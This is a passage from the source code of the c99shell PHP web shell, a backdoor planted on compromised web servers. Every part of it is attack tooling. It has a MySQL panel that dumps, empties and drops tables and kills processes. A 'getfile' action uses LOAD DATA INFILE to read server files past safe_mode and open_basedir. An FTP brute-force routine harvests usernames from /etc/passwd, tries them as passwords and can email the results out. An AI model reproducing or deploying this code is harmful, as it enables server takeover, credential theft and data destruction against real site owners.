  1093.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1094.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1095.      $v = join (";",$dmptbls);
  1096.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1097.      if ($dump_file) {$tmp = $dump_file;}
  1098.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1099.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1100.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1101.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1102.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1103.      echo "</form>";
  1104.     }
  1105.     else
  1106.     {
  1107.      $diplay = TRUE;
  1108.      $set = array();
  1109.      $set["sock"] = $sql_sock;
  1110.      $set["db"] = $sql_db;
  1111.      $dump_out = "download";
  1112.      $set["print"] = 0;
  1113.      $set["nl2br"] = 0;
  1114.      $set[""] = 0;
  1115.      $set["file"] = $dump_file;
  1116.      $set["add_drop"] = TRUE;
  1117.      $set["onlytabs"] = array();
  1118.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1119.      $ret = mysql_dump($set);
  1120.      if ($sql_dump_download)
  1121.      {
  1122.       @ob_clean();
  1123.       header("Content-type: application/octet-stream");
  1124.       header("Content-length: ".strlen($ret));
  1125.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1126.       echo $ret;
  1127.       exit;
  1128.      }
  1129.      elseif ($sql_dump_savetofile)
  1130.      {
  1131.       $fp = fopen($sql_dump_file,"w");
  1132.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1133.       else
  1134.       {
  1135.        fwrite($fp,$ret);
  1136.        fclose($fp);
  1137.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1138.       }
  1139.      }
  1140.      else {echo "<b>Dump: nothing to do!</b>";}
  1141.     }
  1142.    }
  1143.    if ($diplay)
  1144.    {
  1145.     if (!empty($sql_tbl))
  1146.     {
  1147.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1148.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1149.      $count_row = mysql_fetch_array($count);
  1150.      mysql_free_result($count);
  1151.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1152.      $tbl_struct_fields = array();
  1153.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1154.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1155.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1156.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1157.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1158.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1159.      if (!is_numeric($perpage)) {$perpage = 10;}
  1160.      $numpages = $count_row[0]/$perpage;
  1161.      $e = explode(" ",$sql_order);
  1162.      if (count($e) == 2)
  1163.      {
  1164.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1165.       else {$asc_desc = "ASC";}
  1166.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1167.      }
  1168.      else {$v = "";}
  1169.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1170.      $result = mysql_query($query) or print(mysql_smarterror());
  1171.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1172.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1173.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1174.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1175.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1176.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1177.      if ($sql_tbl_act == "insert")
  1178.      {
  1179.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1180.       if (!empty($sql_tbl_insert_radio))
  1181.       {
  1182.  
  1183.       }
  1184.       else
  1185.       {
  1186.        echo "<br><br><b>Inserting row into table:</b><br>";
  1187.        if (!empty($sql_tbl_insert_q))
  1188.        {
  1189.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1190.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1191.         $sql_query .= " LIMIT 1;";
  1192.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1193.         $values = mysql_fetch_assoc($result);
  1194.         mysql_free_result($result);
  1195.        }
  1196.        else {$values = array();}
  1197.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1198.        foreach ($tbl_struct_fields as $field)
  1199.        {
  1200.         $name = $field["Field"];
  1201.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1202.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1203.         $i++;
  1204.        }
  1205.        echo "</table><br>";
  1206.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1207.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1208.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1209.       }
  1210.      }
  1211.      if ($sql_tbl_act == "browse")
  1212.      {
  1213.       $sql_tbl_ls = abs($sql_tbl_ls);
  1214.       $sql_tbl_le = abs($sql_tbl_le);
  1215.       echo "<hr size=\"1\" noshade>";
  1216.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1217.       $b = 0;
  1218.       for($i=0;$i<$numpages;$i++)
  1219.       {
  1220.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1221.        echo $i;
  1222.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1223.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1224.        else {echo "&nbsp;";}
  1225.       }
  1226.       if ($i == 0) {echo "empty";}
  1227.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1228.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1229.       echo "<tr>";
  1230.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1231.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1232.       {
  1233.        $v = mysql_field_name($result,$i);
  1234.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1235.        else {$s = "a"; $m = "desc";}
  1236.        echo "<td>";
  1237.        if (empty($e[0])) {$e[0] = "a";}
  1238.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1239.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1240.        echo "</td>";
  1241.       }
  1242.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1243.       echo "</tr>";
  1244.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1245.       {
  1246.        echo "<tr>";
  1247.        $w = "";
  1248.        $i = 0;
  1249.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1250.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1251.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1252.        $i = 0;
  1253.        foreach ($row as $k=>$v)
  1254.        {
  1255.         $v = htmlspecialchars($v);
  1256.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1257.         echo "<td>".$v."</td>";
  1258.         $i++;
  1259.        }
  1260.        echo "<td>";
  1261.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1262.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1263.        echo "</td>";
  1264.        echo "</tr>";
  1265.       }
  1266.       mysql_free_result($result);
  1267.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1268.       echo "<option value=\"\">With selected:</option>";
  1269.       echo "<option value=\"deleterow\">Delete</option>";
  1270.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1271.      }
  1272.     }
  1273.     else
  1274.     {
  1275.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1276.      if (!$result) {echo mysql_smarterror();}
  1277.      else
  1278.      {
  1279.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1280.       $i = 0;
  1281.       $tsize = $trows = 0;
  1282.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1283.       {
  1284.        $tsize += $row["Data_length"];
  1285.        $trows += $row["Rows"];
  1286.        $size = view_size($row["Data_length"]);
  1287.        echo "<tr>";
  1288.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1289.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1290.        echo "<td>".$row["Rows"]."</td>";
  1291.        echo "<td>".$row["Type"]."</td>";
  1292.        echo "<td>".$row["Create_time"]."</td>";
  1293.        echo "<td>".$row["Update_time"]."</td>";
  1294.        echo "<td>".$size."</td>";
  1295.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1296.        echo "</tr>";
  1297.        $i++;
  1298.       }
  1299.       echo "<tr bgcolor=\"000000\">";
  1300.       echo "<td><center><b>¬ª</b></center></td>";
  1301.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1302.       echo "<td><b>".$trows."</b></td>";
  1303.       echo "<td>".$row[1]."</td>";
  1304.       echo "<td>".$row[10]."</td>";
  1305.       echo "<td>".$row[11]."</td>";
  1306.       echo "<td><b>".view_size($tsize)."</b></td>";
  1307.       echo "<td></td>";
  1308.       echo "</tr>";
  1309.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1310.       echo "<option value=\"\">With selected:</option>";
  1311.       echo "<option value=\"tbldrop\">Drop</option>";
  1312.       echo "<option value=\"tblempty\">Empty</option>";
  1313.       echo "<option value=\"tbldump\">Dump</option>";
  1314.       echo "<option value=\"tblcheck\">Check table</option>";
  1315.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1316.       echo "<option value=\"tblrepair\">Repair table</option>";
  1317.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1318.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1319.       mysql_free_result($result);
  1320.      }
  1321.     }
  1322.    }
  1323.    }
  1324.   }
  1325.   else
  1326.   {
  1327.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1328.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1329.    if (!empty($sql_act))
  1330.    {
  1331.     echo "<hr size=\"1\" noshade>";
  1332.     if ($sql_act == "newdb")
  1333.     {
  1334.      echo "<b>";
  1335.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1336.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1337.     }
  1338.     if ($sql_act == "serverstatus")
  1339.     {
  1340.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1341.      echo "<center><b>Server-status variables:</b><br><br>";
  1342.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1343.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1344.      echo "</table></center>";
  1345.      mysql_free_result($result);
  1346.     }
  1347.     if ($sql_act == "servervars")
  1348.     {
  1349.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1350.      echo "<center><b>Server variables:</b><br><br>";
  1351.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1352.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1353.      echo "</table>";
  1354.      mysql_free_result($result);
  1355.     }
  1356.     if ($sql_act == "processes")
  1357.     {
  1358.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1359.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1360.      echo "<center><b>Processes:</b><br><br>";
  1361.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1362.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1363.      echo "</table>";
  1364.      mysql_free_result($result);
  1365.     }
  1366.     if ($sql_act == "getfile")
  1367.     {
  1368.      $tmpdb = $sql_login."_tmpdb";
  1369.      $select = mysql_select_db($tmpdb);
  1370.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1371.      if ($select)
  1372.      {
  1373.       $created = FALSE;
  1374.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1375.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1376.       $result = mysql_query("SELECT * FROM tmp_file;");
  1377.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1378.       else
  1379.       {
  1380.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1381.        $f = "";
  1382.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1383.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1384.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1385.        mysql_free_result($result);
  1386.        mysql_query("DROP TABLE tmp_file;");
  1387.       }
  1388.      }
  1389.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1390.     }
  1391.    }
  1392.   }
  1393.  }
  1394.  echo "</td></tr></table>";
  1395.  if ($sql_sock)
  1396.  {
  1397.   $affected = @mysql_affected_rows($sql_sock);
  1398.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1399.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1400.  }
  1401.  echo "</table>";
  1402. }
  1403. if ($act == "mkdir")
  1404. {
  1405.  if ($mkdir != $d)
  1406.  {
  1407.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1408.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1409.   echo "<br><br>";
  1410.  }
  1411.  $act = $dspact = "ls";
  1412. }
  1413. if ($act == "ftpquickbrute")
  1414. {
  1415.  echo "<b>Ftp Quick brute:</b><br>";
  1416.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1417.  else
  1418.  {
  1419.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1420.   {
  1421.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1422.    else {$TRUE = TRUE;}
  1423.    if ($TRUE)
  1424.    {
  1425.     $sock = @ftp_connect($host,$port,$timeout);
  1426.     if (@ftp_login($sock,$login,$pass))
  1427.     {
  1428.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1429.      ob_flush();
  1430.      return TRUE;
  1431.     }
  1432.    }
  1433.   }
  1434.   if (!empty($submit))
  1435.   {
  1436.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1437.    $fp = fopen("/etc/passwd","r");
  1438.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1439.    else
  1440.    {
  1441.     if ($fqb_logging)
  1442.     {
  1443.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1444.      else {$fqb_logfp = FALSE;}
  1445.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1446.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1447.     }
  1448.     ob_flush();
  1449.     $i = $success = 0;
  1450.     $ftpquick_st = getmicrotime();
  1451.     while(!feof($fp))
  1452.     {
  1453.      $str = explode(":",fgets($fp,2048));
  1454.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1455.      {
  1456.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1457.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1458.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1459.       $success++;
  1460.       ob_flush();
  1461.      }
  1462.      if ($i > $fqb_lenght) {break;}
  1463.      $i++;
  1464.     }
  1465.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1466.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1467.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1468.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1469.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1470.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1471.     fclose($fqb_logfp);
  1472.    }
  1473.   }
  1474.   else
  1475.   {
  1476.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1477.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1478.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1479.   }
  1480.  }
  1481. }
  1482. if ($act == "d")
  1483. {
  1484.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1485.  else
  1486.  {
  1487.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1488.   if (!$win)
  1489.   {
  1490.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1491.    $ow = posix_getpwuid(fileowner($d));
  1492.    $gr = posix_getgrgid(filegroup($d));
  1493.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1494.   }
  1495.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1496.  }
  1497. }
  1498. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1499. if ($act == "security")
  1500. {
  1501.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1502.  if (!$win)
  1503.  {
  1504.   if ($nixpasswd)
  1505.   {
  1506.    if ($nixpasswd == 1) {$nixpasswd = 0;}
